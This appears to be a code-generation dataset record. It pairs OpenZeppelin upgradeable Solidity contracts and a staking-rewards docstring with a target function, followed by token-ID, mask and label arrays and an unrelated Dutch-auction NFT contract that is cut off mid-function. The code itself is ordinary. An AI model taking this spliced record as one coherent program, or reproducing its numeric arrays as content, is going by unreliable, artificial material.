_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
uint256[45] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ECDSAUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712Upgradeable is Initializable {
/* solhint-disable var-name-mixedcase */
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
function __EIP712_init(string memory name, string memory version) internal initializer {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal initializer {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
/**
* @dev The hash of the name parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
/**
* @dev The hash of the version parameter for the EIP712 domain.
*
* NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
* are a concern.
*/
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
} | * @dev Updates the user state related with his accrued rewards @param user Address of the user @param userBalance The current balance of the user @param updateStorage Boolean flag used to update or not the stakerRewardsToClaim of the user @return The unclaimed rewards that were added to the total accrued/ | function _updateCurrentUnclaimedRewards(
address user,
uint256 userBalance,
bool updateStorage
) internal returns (uint256) {
uint256 accruedRewards = _updateUserAssetInternal(
user,
address(this),
userBalance,
totalSupply()
);
uint256 unclaimedRewards = stakerRewardsToClaim[user].add(
accruedRewards
);
if (accruedRewards != 0) {
if (updateStorage) {
stakerRewardsToClaim[user] = unclaimedRewards;
}
emit RewardsAccrued(user, accruedRewards);
}
return unclaimedRewards;
}
| 1,562,172 | [
1,
5121,
326,
729,
919,
3746,
598,
18423,
4078,
86,
5957,
283,
6397,
225,
729,
5267,
434,
326,
729,
225,
729,
13937,
1021,
783,
11013,
434,
326,
729,
225,
1089,
3245,
3411,
2982,
1399,
358,
1089,
578,
486,
326,
384,
6388,
17631,
1060,
11634,
9762,
434,
326,
729,
327,
1021,
6301,
80,
4581,
329,
283,
6397,
716,
4591,
3096,
358,
326,
2078,
4078,
86,
5957,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
2725,
3935,
984,
14784,
329,
17631,
14727,
12,
203,
3639,
1758,
729,
16,
203,
3639,
2254,
5034,
729,
13937,
16,
203,
3639,
1426,
1089,
3245,
203,
565,
262,
2713,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
4078,
86,
5957,
17631,
14727,
273,
389,
2725,
1299,
6672,
3061,
12,
203,
5411,
729,
16,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
729,
13937,
16,
203,
5411,
2078,
3088,
1283,
1435,
203,
3639,
11272,
203,
3639,
2254,
5034,
6301,
80,
4581,
329,
17631,
14727,
273,
384,
6388,
17631,
1060,
11634,
9762,
63,
1355,
8009,
1289,
12,
203,
5411,
4078,
86,
5957,
17631,
14727,
203,
3639,
11272,
203,
203,
3639,
309,
261,
8981,
86,
5957,
17631,
14727,
480,
374,
13,
288,
203,
5411,
309,
261,
2725,
3245,
13,
288,
203,
7734,
384,
6388,
17631,
1060,
11634,
9762,
63,
1355,
65,
273,
6301,
80,
4581,
329,
17631,
14727,
31,
203,
5411,
289,
203,
5411,
3626,
534,
359,
14727,
8973,
86,
5957,
12,
1355,
16,
4078,
86,
5957,
17631,
14727,
1769,
203,
3639,
289,
203,
203,
3639,
327,
6301,
80,
4581,
329,
17631,
14727,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/access/Ownable.sol";
import "@divergencetech/ethier/contracts/sales/LinearDutchAuction.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IMMNFT.sol";
contract MMDutchAuction is LinearDutchAuction
{
IMMNFT nft;
constructor(
address payable beneficiary
)
LinearDutchAuction(
LinearDutchAuction.DutchAuctionConfig({
startPoint: 0, // disabled at deployment
startPrice: 1.5 ether,
unit: AuctionIntervalUnit.Time,
decreaseInterval: 360,
decreaseSize: 0.01 ether,
numDecreases: 135
}),
0.15 ether,
Seller.SellerConfig({
totalInventory: 6080,
lockTotalInventory: true,
maxPerAddress: 12,
maxPerTx: 12,
freeQuota: 0,
lockFreeQuota: true,
reserveFreeQuota: true
}),
beneficiary
)
{}
/// LinearDutchAuction Required Functions
/// @notice Entry point for purchase of a single token.
function buy(uint256 count) external payable whenNotPaused {
Seller._purchase(msg.sender, count);
}
/// @notice Internal override of Seller function for handling purchase (i.e. minting).
function _handlePurchase(
address to,
uint256 num,
bool
) internal override {
nft.adminMint(num, to);
}
function setNFT(IMMNFT _nft) external onlyOwner {
nft = _nft;
}
}
// SPDX-License-Identifier: MIT
// Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier)
pragma solidity >=0.8.0 <0.9.0;
import "./Seller.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
/// @notice A Seller with a linearly decreasing price.
abstract contract LinearDutchAuction is Seller {
/**
@param unit The unit of "time" used for decreasing prices, block number or
timestamp. NOTE: See the comment on AuctionIntervalUnit re use of Time as a
unit.
@param startPoint The block or timestamp at which the auction opens. A value
of zero disables the auction. See setAuctionStartPoint().
@param startPrice The price at `startPoint`.
@param decreaseInterval The number of units to wait before decreasing the
price. MUST be non-zero.
@param decreaseSize The amount by which price decreases after every
`decreaseInterval`.
@param numDecreases The maximum number of price decreases before remaining
constant. The reserve price is therefore implicit and equal to
startPrice-numDecrease*decreaseSize.
*/
struct DutchAuctionConfig {
uint256 startPoint;
uint256 startPrice;
uint256 decreaseInterval;
uint256 decreaseSize;
// From https://docs.soliditylang.org/en/v0.8.10/types.html#enums "Enums
// cannot have more than 256 members"; presumably they take 8 bits, so
// use some of the numDecreases space instead.
uint248 numDecreases;
AuctionIntervalUnit unit;
}
/**
@notice The unit of "time" along which the cost decreases.
@dev If no value is provided then the zero UNSPECIFIED will trigger an
error.
NOTE: The Block unit is more reliable as it has an explicit progression
(simply incrementing). Miners are allowed to have a time drift into the
future although which predisposes to unexpected behaviour by which "future"
costs are encountered. See the ConsenSys 15-second rule:
https://consensys.net/blog/developers/solidity-best-practices-for-smart-contract-security/
*/
enum AuctionIntervalUnit {
UNSPECIFIED,
Block,
Time
}
/// @param expectedReserve See setAuctionConfig().
constructor(
DutchAuctionConfig memory config,
uint256 expectedReserve,
Seller.SellerConfig memory sellerConfig,
address payable _beneficiary
) Seller(sellerConfig, _beneficiary) {
setAuctionConfig(config, expectedReserve);
}
/// @notice Configuration of price changes.
DutchAuctionConfig public dutchAuctionConfig;
/**
@notice Sets the auction config.
@param expectedReserve A safety check that the reserve, as calculated from
the config, is as expected.
*/
function setAuctionConfig(
DutchAuctionConfig memory config,
uint256 expectedReserve
) public onlyOwner {
// Underflow might occur is size/num decreases is too large.
unchecked {
require(
config.startPrice - config.decreaseSize * config.numDecreases ==
expectedReserve,
"LinearDutchAuction: incorrect reserve"
);
}
require(
config.unit != AuctionIntervalUnit.UNSPECIFIED,
"LinearDutchAuction: unspecified unit"
);
require(
config.decreaseInterval > 0,
"LinearDutchAuction: zero decrease interval"
);
dutchAuctionConfig = config;
}
/**
@notice Sets the config startPoint. A startPoint of zero disables the
auction.
@dev The auction can be toggle on and off with this function, without the
cost of having to update the entire config.
*/
function setAuctionStartPoint(uint256 startPoint) public onlyOwner {
dutchAuctionConfig.startPoint = startPoint;
}
/// @notice Override of Seller.cost() with Dutch-auction logic.
function cost(uint256 n) public view override returns (uint256) {
DutchAuctionConfig storage cfg = dutchAuctionConfig;
uint256 current;
